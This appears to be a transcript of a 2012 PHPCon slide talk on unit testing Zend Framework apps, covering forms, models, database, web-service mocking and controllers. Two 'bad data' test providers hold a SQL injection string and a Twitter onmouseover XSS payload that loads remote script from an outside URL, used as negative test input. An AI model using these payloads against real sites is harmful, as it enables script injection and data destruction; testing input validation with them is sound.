Unit Testing Zend Framework Apps PHPCon Poland

Unit testing is still considered the biggest challenge in development: everyone knows they should do it, but reality shows most developers skip it due to several reasons. With this talk I show how easy it is to unit test Zend Framework applications without loosing precious time and create top-notch apps that require little maintenance after delivery.

Transcript

1. Unit Testing
   Zend Framework Apps
   PHPCon 2012, Poland
   

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3. Zend Webinar
   http://www.zend.com/en/resources/webinars/framework
   

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4. Any reasons not to test?
   

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5. Most common excuses
   • no time
   • not within budget
   • development team does not know how
   • tests are provided after delivery
   • …
   

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6. NO EXCUSES!
   

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7. The cost of bugs
   0
   25
   50
   75
   100
   Start Milestone1 Milestone2 Milestone3 Milestone4 Milestone5
   Bugs Costs Unittests
   

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8. Source: http://collaboration.csc.ncsu.edu/laurie/Papers/Unit_testing_cameraReady.pdf
   “10% more work during development,
   90% gain in support and maintenance”
   -- research unit testing at Microsoft
   

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9. Maintainability
   • during development
   - test will fail indicating bugs
   • after sales support
   - testing if an issue is genuine
   - fixing issues won’t break code base
   ‣ if they do, you need to fix it!
   • long term projects
   - refactoring made easy
   

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11. Confidence
    • for the developer
    - code works
    • for the manager
    - project succeeds
    • for sales / general management / share holders
    - making profit
    • for the customer
    - paying for what they want
    

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13. Unit testing ZF apps
    

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14. Setting things up
    

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15. phpunit.xml
    
    
    ./
    
    
    
    ../application/
    ../library/Mylib/
    
    ../application/
    
    
    
    
    

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16. TestHelper.php
    // set our app paths and environments
    define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
    define('APPLICATION_PATH', BASE_PATH . '/application');
    define('TEST_PATH', BASE_PATH . '/tests');
    define('APPLICATION_ENV', 'testing');
    // Include path
    set_include_path(
    . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path()
    );
    // Set the default timezone !!!
    date_default_timezone_set('Europe/Brussels');
    // We wanna catch all errors en strict warnings
    error_reporting(E_ALL|E_STRICT);
    require_once 'Zend/Application.php';
    $application = new Zend_Application(
    APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini'
    );
    $application->bootstrap();
    

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17. Zend_Tool since 1.11.4
    • provides
    • phpunit.xml
    • bootstrap.php
    • IndexControllerTest.php
    Ralph Schindler
    

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18. Start your engines!
    http://www.flickr.com/photos/robdunckley/3781995277
    

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19. Testing Zend_Form
    

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20. CommentForm
    Name:
    E-mail Address:
    Website:
    Comment:
    Post
    

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21. Start with the test
    class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
    {
    protected $_form;
    protected function setUp()
    {
    $this->_form = new Application_Form_CommentForm();
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_form = null;
    }
    }
    

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22. The good stuff
    public function goodData()
    {
    return array (
    array ('John Doe', 'john.doe@example.com',
    'http://example.com', 'test comment'),
    array ("Matthew Weier O'Phinney", 'matthew@zend.com',
    'http://weierophinney.net', 'Doing an MWOP-Test'),
    array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
    'http://caseysoftware.com', 'Doing a monkey dance'),
    );
    }
    /**
    * @dataProvider goodData
    */
    public function testFormAcceptsValidData($name, $email, $web, $comment)
    {
    $data = array (
    'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
    );
    $this->assertTrue($this->_form->isValid($data));
    }
    

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23. The bad stuff
    public function badData()
    {
    return array (
    array ('','','',''),
    array ("Robert'; DROP TABLES comments; --", '',
    'http://xkcd.com/327/','Little Bobby Tables'),
    array (str_repeat('x', 100000), '', '', ''),
    array ('John Doe', 'jd@example.com',
    "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=
    \"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/",
    'exploit twitter 9/21/2010'),
    );
    }
    /**
    * @dataProvider badData
    */
    public function testFormRejectsBadData($name, $email, $web, $comment)
    {
    $data = array (
    'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
    );
    $this->assertFalse($this->_form->isValid($data));
    }
    

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24. Create the form class
    class Application_Form_CommentForm extends Zend_Form
    {
    public function init()
    {
    /* Form Elements & Other Definitions Here ... */
    }
    }
    

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25. Let’s run the test
    

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26. Let’s put in our elements
    class Application_Form_CommentForm extends Zend_Form
    {
    public function init()
    {
    $this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true));
    $this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true));
    $this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false));
    $this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true));
    $this->addElement('submit', 'post', array (
    'Label' => 'Post', 'Ignore' => true));
    }
    }
    

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27. Less errors?
    

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28. Filter - Validate
    $this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
    new Zftest_Validate_Mwop(),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
    ));
    $this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
    new Zend_Validate_EmailAddress(),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
    ));
    $this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
    new Zend_Validate_Callback(array('Zend_Uri', 'check')),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
    ));
    $this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
    new Zftest_Validate_TextBox(),
    new Zend_Validate_StringLength(array ('max' => 5000))),
    ));
    

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29. Green, warm & fuzzy
    

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30. You’re a winner!
    ☑ quality code
    ☑ tested
    ☑ secure
    ☑ reusable
    

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31. Testing models
    

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32. Testing business logic
    • models contain logic
    - tied to your business
    - tied to your storage
    - tied to your resources
    • no “one size fits all” solution
    

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33. Type: data containers
    • contains structured data
    - populated through setters and getters
    • perform logic tied to it’s purpose
    - transforming data
    - filtering data
    - validating data
    • can convert into other data types
    - arrays
    - strings (JSON, serialized, xml, …)
    • are providers to other models
    

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34. Comment Class
    

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35. Writing model test
    class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
    {
    protected $_comment;
    protected function setUp()
    {
    $this->_comment = new Application_Model_Comment();
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_comment = null;
    }
    public function testModelIsEmptyAtConstruct()
    {
    $this->assertSame(0, $this->_comment->getId());
    $this->assertNull($this->_comment->getFullName());
    $this->assertNull($this->_comment->getEmailAddress());
    $this->assertNull($this->_comment->getWebsite());
    $this->assertNull($this->_comment->getComment());
    }
    }
    

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36. This test won’t run!
    

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37. Create a simple model
    class Application_Model_Comment
    {
    protected $_id = 0; protected $_fullName; protected $_emailAddress;
    protected $_website; protected $_comment;
    public function setId($id) { $this->_id = (int) $id; return $this; }
    public function getId() { return $this->_id; }
    public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
    public function getFullName() { return $this->_fullName; }
    public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
    public function getEmailAddress() { return $this->_emailAddress; }
    public function setWebsite($website) { $this->_website = (string) $website; return $this; }
    public function getWebsite() { return $this->_website; }
    public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
    public function getComment() { return $this->_comment; }
    public function populate($row) {
    if (is_array($row)) {
    $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
    }
    if (isset ($row->id)) $this->setId($row->id);
    if (isset ($row->fullName)) $this->setFullName($row->fullName);
    if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
    if (isset ($row->website)) $this->setWebsite($row->website);
    if (isset ($row->comment)) $this->setComment($row->comment);
    }
    public function toArray() {
    return array (
    'id' => $this->getId(),
    'fullName' => $this->getFullName(),
    'emailAddress' => $this->getEmailAddress(),
    'website' => $this->getWebsite(),
    'comment' => $this->getComment(),
    );
    }
    }
    

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38. We pass the test…
    

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39. Really ???
    

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40. Not all data from form!
    • model can be populated from
    - users through the form
    - data stored in the database
    - a webservice (hosted by us or others)
    • simply test it
    - by using same test scenario’s from our form
    

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41. The good stuff
    public function goodData()
    {
    return array (
    array ('John Doe', 'john.doe@example.com',
    'http://example.com', 'test comment'),
    array ("Matthew Weier O'Phinney", 'matthew@zend.com',
    'http://weierophinney.net', 'Doing an MWOP-Test'),
    array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
    'http://caseysoftware.com', 'Doing a monkey dance'),
    );
    }
    /**
    * @dataProvider goodData
    */
    public function testModelAcceptsValidData($name, $mail, $web, $comment)
    {
    $data = array (
    'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
    );
    try {
    $this->_comment->populate($data);
    } catch (Zend_Exception $e) {
    $this->fail('Unexpected exception should not be triggered');
    }
    $data['id'] = 0;
    $data['emailAddress'] = strtolower($data['emailAddress']);
    $data['website'] = strtolower($data['website']);
    $this->assertSame($this->_comment->toArray(), $data);
    }
    

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42. The bad stuff
    public function badData()
    {
    return array (
    array ('','','',''),
    array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
    Tables'),
    array (str_repeat('x', 1000), '', '', ''),
    array ('John Doe', 'jd@example.com', "http://t.co/@\"style=\"font-size:999999999999px;
    \"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter
    9/21/2010'),
    );
    }
    /**
    * @dataProvider badData
    */
    public function testModelRejectsBadData($name, $mail, $web, $comment)
    {
    $data = array (
    'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
    );
    try {
    $this->_comment->populate($data);
    } catch (Zend_Exception $e) {
    return;
    }
    $this->fail('Expected exception should be triggered');
    }
    

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43. Let’s run it
    

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44. Modify our model
    protected $_filters;
    protected $_validators;
    public function __construct($params = null)
    {
    $this->_filters = array (
    'id' => array ('Int'),
    'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
    'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'comment' => array ('StringTrim', 'StripTags'),
    );
    $this->_validators = array (
    'id' => array ('Int'),
    'fullName' => array (
    new Zftest_Validate_Mwop(),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
    ),
    'emailAddress' => array (
    'EmailAddress',
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
    ),
    'website' => array (
    new Zend_Validate_Callback(array('Zend_Uri', 'check')),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
    ),
    'comment' => array (
    new Zftest_Validate_TextBox(),
    new Zend_Validate_StringLength(array ('max' => 5000)),
    ),
    );
    if (null !== $params) { $this->populate($params); }
    }
    

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45. Modify setters: Id & name
    public function setId($id)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('id' => $id));
    if (!$input->isValid('id')) {
    throw new Zend_Exception('Invalid ID provided');
    }
    $this->_id = (int) $input->id;
    return $this;
    }
    public function setFullName($fullName)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('fullName' => $fullName));
    if (!$input->isValid('fullName')) {
    throw new Zend_Exception('Invalid fullName provided');
    }
    $this->_fullName = (string) $input->fullName;
    return $this;
    }
    

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46. Email & website
    public function setEmailAddress($emailAddress)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('emailAddress' => $emailAddress));
    if (!$input->isValid('emailAddress')) {
    throw new Zend_Exception('Invalid emailAddress provided');
    }
    $this->_emailAddress = (string) $input->emailAddress;
    return $this;
    }
    public function setWebsite($website)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('website' => $website));
    if (!$input->isValid('website')) {
    throw new Zend_Exception('Invalid website provided');
    }
    $this->_website = (string) $input->website;
    return $this;
    }
    

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47. and comment
    public function setComment($comment)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('comment' => $comment));
    if (!$input->isValid('comment')) {
    throw new Zend_Exception('Invalid comment provided');
    }
    $this->_comment = (string) $input->comment;
    return $this;
    }
    

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48. Now we’re good!
    

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49. Testing Databases
    

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50. Integration Testing
    • database specific functionality
    - triggers
    - constraints
    - stored procedures
    - sharding/scalability
    • data input/output
    - correct encoding of data
    - transactions execution and rollback
    

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51. Points of concern
    • beware of automated data types
    - auto increment sequence ID’s
    - default values like CURRENT_TIMESTAMP
    • beware of time related issues
    - timestamp vs. datetime
    - UTC vs. local time
    

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52. The domain Model
    • Model object
    • Mapper object
    • Table gateway object
    Read more about it ‛
    

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53. Change our test class
    class Application_Model_CommentTest
    extends PHPUnit_Framework_TestCase
    becomes
    class Application_Model_CommentTest
    extends Zend_Test_PHPUnit_DatabaseTestCase
    

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54. Setting DB Testing up
    protected $_connectionMock;
    public function getConnection()
    {
    if (null === $this->_dbMock) {
    $this->bootstrap = new Zend_Application(
    APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
    $this->bootstrap->bootstrap('db');
    $db = $this->bootstrap->getBootstrap()->getResource('db');
    $this->_connectionMock = $this->createZendDbConnection(
    $db, 'zftest'
    );
    return $this->_connectionMock;
    }
    }
    public function getDataSet()
    {
    return $this->createFlatXmlDataSet(
    realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
    }
    

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55. initialDataSet.xml
    
    
    id="1"
    fullName="B.A. Baracus"
    emailAddress="ba@a-team.com"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="fowler@acm.org"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    
    

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56. Testing SELECT
    public function testDatabaseCanBeRead()
    {
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }
    

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57. selectDataSet.xml
    
    
    id="1"
    fullName="B.A. Baracus"
    emailAddress="ba@a-team.com"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="fowler@acm.org"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    
    

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58. Testing UPDATE
    public function testDatabaseCanBeUpdated()
    {
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment);
    $comment->setComment('I like you picking up the challenge!');
    $mapper->save($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }
    

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59. updateDataSet.xml
    
    
    id="1"
    fullName="B.A. Baracus"
    emailAddress="ba@a-team.com"
    website="http://www.a-team.com"
    comment="I like you picking up the challenge!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="fowler@acm.org"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    
    

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60. Testing DELETE
    public function testDatabaseCanDeleteAComment()
    {
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment)
    ->delete($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }
    

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61. deleteDataSet.xml
    
    
    id="2"
    fullName="Martin Fowler"
    emailAddress="fowler@acm.org"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    
    

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62. Testing INSERT
    public function testDatabaseCanAddAComment()
    {
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
    ->setEmailAddress('dragonbe@gmail.com')
    ->setWebsite('http://www.dragonbe.com')
    ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }
    

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63. insertDataSet.xml
    
    
    id="1"
    fullName="B.A. Baracus"
    emailAddress="ba@a-team.com"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="fowler@acm.org"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    id="3"
    fullName="Michelangelo van Dam"
    emailAddress="dragonbe@gmail.com"
    website="http://www.dragonbe.com"
    comment="Unit Testing, It is so addictive!!!"/>
    
    

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64. Run Test
    

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65. What went wrong here?
    

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66. AUTO_INCREMENT
    

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67. Testing INSERT w/ filter
    public function testDatabaseCanAddAComment()
    {
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
    ->setEmailAddress('dragonbe@gmail.com')
    ->setWebsite('http://www.dragonbe.com')
    ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
    $ds, array ('comment' => array ('id')));
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $filteredDs);
    }
    

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68. insertDataSet.xml
    
    
    fullName="B.A. Baracus"
    emailAddress="ba@a-team.com"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    fullName="Martin Fowler"
    emailAddress="fowler@acm.org"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    fullName="Michelangelo van Dam"
    emailAddress="dragonbe@gmail.com"
    website="http://www.dragonbe.com"
    comment="Unit Testing, It is so addictive!!!"/>
    
    

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69. Run Test
    

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70. Testing Web Services
    

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71. Web services remarks
    • you need to comply with an API
    - that will be your reference
    • You cannot always make a test-call
    - paid services per call
    - test environment is “offline”
    - network related issues
    

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72. Example: joind.in
    

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74. JoindIn Test
    class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
    {
    protected $_joindin;
    protected $_settings;
    protected function setUp()
    {
    $this->_joindin = new Zftest_Service_Joindin();
    // using the test adapter for testing
    $client = new Zend_Http_Client();
    $client->setAdapter(new Zend_Http_Client_Adapter_Test());
    $this->_joindin->setClient($client);
    $settings = simplexml_load_file(realpath(
    APPLICATION_PATH . '/../tests/_files/settings.xml'));
    $this->_settings = $settings->joindin;
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_joindin = null;
    }
    

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75. JoindIn Test
    public function testJoindinCanGetUserDetails()
    {
    $expected = 'DragonBe
    username>Michelangelo van Dam19
    ID>1303248639';
    $this->_joindin->setUsername($this->_settings->username)
    ->setPassword($this->_settings->password);
    $actual = $this->_joindin->user()->getDetail();
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }
    public function testJoindinCanCheckStatus()
    {
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
    $expected = '' . $date-
    >format('r') . 'testing unit test';
    $actual = $this->_joindin->site()->getStatus('testing unit test');
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }
    

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76. Testing The Service
    

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77. Euh… What?
    1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
    Failed asserting that two strings are equal.
    --- Expected
    +++ Actual
    @@ @@
    19
    - 1303248639
    + 1303250271
    
    
    

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78. And this?
    2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
    Failed asserting that two strings are equal.
    --- Expected
    +++ Actual
    @@ @@
    
    
    - Tue, 19 Apr 2011 22:26:40 +0000
    + Tue, 19 Apr 2011 22:26:41 +0000
    
    

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79. Solution is right here!
    

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80. API = test scenarios
    

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81. Mocking Client Adapter
    class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
    {
    protected $_joindin;
    protected $_settings;
    protected function setUp()
    {
    $this->_joindin = new Zftest_Service_Joindin();
    // using the test adapter for testing
    $client = new Zend_Http_Client();
    $client->setAdapter(new Zend_Http_Client_Adapter_Test());
    $this->_joindin->setClient($client);
    $settings = simplexml_load_file(realpath(
    APPLICATION_PATH . '/../tests/_files/settings.xml'));
    $this->_settings = $settings->joindin;
    parent::setUp();
    }
    

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82. JoindinUserMockTest
    public function testJoindinCanGetUserDetails()
    {
    $response = <<HTTP/1.1 200 OK
    Content-type: text/xml
    
    
    
    DragonBe
    Michelangelo van Dam
    19
    1303248639
    
    
    EOS;
    $client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
    $expected = 'DragonBe
    username>Michelangelo van Dam191303248639
    last_login>';
    $this->_joindin->setUsername($this->_settings->username)
    ->setPassword($this->_settings->password);
    $actual = $this->_joindin->user()->getDetail();
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }
    

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83. JoindinStatusMockTest
    public function testJoindinCanCheckStatus()
    {
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $response = <<HTTP/1.1 200 OK
    Content-type: text/xml
    
    
    {$date->format('r')}
    testing unit test
    
    EOS;
    $client = $this->_joindin->getClient()->getAdapter()-
    >setResponse($response);
    $expected = '' . $date-
    >format('r') . 'testing unit test';
    $actual = $this->_joindin->site()->getStatus('testing unit test');
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }
    }
    

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84. Good implementation?
    

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85. Controller Testing
    

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86. When to use?
    • GOOD
    - validation of correct headers
    - track redirections
    - errors and/or exceptions
    - visitor flow (page 1 -> page 2, …)
    • NOT SO GOOD
    - validation of DOM elements on page
    - asserting (error) messages
    

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87. Form Flow
    

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88. REMARK
    • data providers can be used
    - to test valid data
    - to test invalid data
    • but we know it’s taken care of our model
    - just checking for error messages in the form
    

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89. Setting up ControllerTest
    ?php
    class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
    {
    public function setUp()
    {
    $this->bootstrap = new Zend_Application(
    APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
    parent::setUp();
    }
    …
    }
    

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90. Testing Form is on Page
    public function testIndexAction()
    {
    $params = array('action' => 'index', 'controller' => 'index', 'module'
    => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertQueryContentContains('h1#pageTitle', 'Please leave a
    comment');
    $this->assertQueryCount('form#commentForm', 1);
    }
    

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91. Test if we hit home
    public function testSuccessAction()
    {
    $params = array('action' => 'success', 'controller' => 'index',
    'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertRedirectTo('/');
    }
    

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92. Test Processing
    public function testProcessAction()
    {
    $testData = array (
    'name' => 'testUser',
    'mail' => 'test@example.com',
    'web' => 'http://www.example.com',
    'comment' => 'This is a test comment',
    );
    $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->request->setMethod('post');
    $this->request->setPost($testData);
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertResponseCode(302);
    $this->assertRedirectTo('/index/success');
    $this->resetRequest();
    $this->resetResponse();
    $this->dispatch('/index/success');
    $this->assertQueryContentContains('span#fullName', $testData['name']);
    }
    

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93. Redirect test
    public function testSuccessAction()
    {
    $params = array('action' => 'success', 'controller' => 'index',
    'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertRedirectTo('/');
    }
    

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94. Running ControllerTests
    

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95. Run All Tests
    

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96. Conclusion
    • unit testing is simple
    • no excuses not to test
    • test what counts
    - what makes you loose money if it breaks?
    • mock out whatever’s expensive
    - databases, filesystem, services, …
    

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97. Recommended  reading
    • The  Grumpy  Book
    -­‐ Chris  Hartjes
    

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98. Get the source code!
    http://github.com/DragonBe/zftest
    

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99. January 25-26, 2013 in Antwerp Belgium
    2 day conference (including tutorials)
    community driven
    low prices
    ticket sales start in November
    http://phpcon.eu | @phpbenelux
    

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100. Michelangelo van Dam
     Certified Zend Engineer
     michelangelo@in2it.be
     (202) 559-7401
     @DragonBe
     2
     Contact us for
     consulting - training - QA
     

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101. https://joind.in/7189
     Please leave feedback to make this talk better
     

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102. Thank you
     

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